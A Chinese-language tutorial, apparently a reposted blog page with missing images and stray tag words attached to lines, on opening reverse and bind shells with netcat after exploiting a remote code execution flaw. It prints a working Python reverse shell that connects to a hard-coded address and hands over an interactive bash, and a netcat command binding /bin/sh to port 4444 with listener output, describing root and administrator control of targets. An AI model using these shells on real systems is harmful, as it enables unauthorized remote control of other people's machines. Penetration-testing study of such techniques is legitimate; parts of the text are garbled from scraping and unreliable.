使用netcat的正向 / 反向shell

  • reverse shell

  • bind shell

reverse shell描述圖:python

 

在此示例中,目標使用端口4444反向鏈接攻擊主機。-e選項將Bash shell發回攻擊主機。請注意,咱們也能夠在Windows的cmd.exe上使用-e選項。假設咱們已經在目標主機上找到了遠程代碼執行(RCE)漏洞。咱們能夠在目標主機上使用-e發出Netcat命令,並使用Netcat發出命令啓動反向shell。linux

先啓動攻擊端的監聽:shell

 

再在目標端啓動反向shell:bash

 linux服務器

而後能夠在攻擊端控制目標端的服務器,以root權限;socket

 

win7spa

而後能夠在攻擊端控制目標端的win7系統,以administrator權限;3d

 

python的反向shell:code

 

import os,socket,subprocess;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.21',8080))
#重定向shell輸出
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
#執行子程序
p=subprocess.call(['/bin/bash','-i'])

 

 


 

 

 

正向bind Shell

 

 

在該圖中,目標使用Netcat偵聽器將Bash shell綁定到它特定端口4444。攻擊者使用簡單的Netcat命令鏈接到此端口。設置bind shell的步驟以下:blog

 

使用Netcat將一個bash shell綁定到4444端口。 從攻擊主機鏈接到端口4444上的目標主機。 從攻擊主機發出命令到目標主機上。

 

 

 

 

 

root@kali:~# nc -lvp 4444 -e /bin/sh
listening on [any] 4444 ...
10.1.20.x: inverse host lookup failed: Unknown host
connect to [10.1.20.x] from (UNKNOWN) [10.1.20.x] 6065
root@kali:~# a

 

 

 

 

相關文章
相關標籤/搜索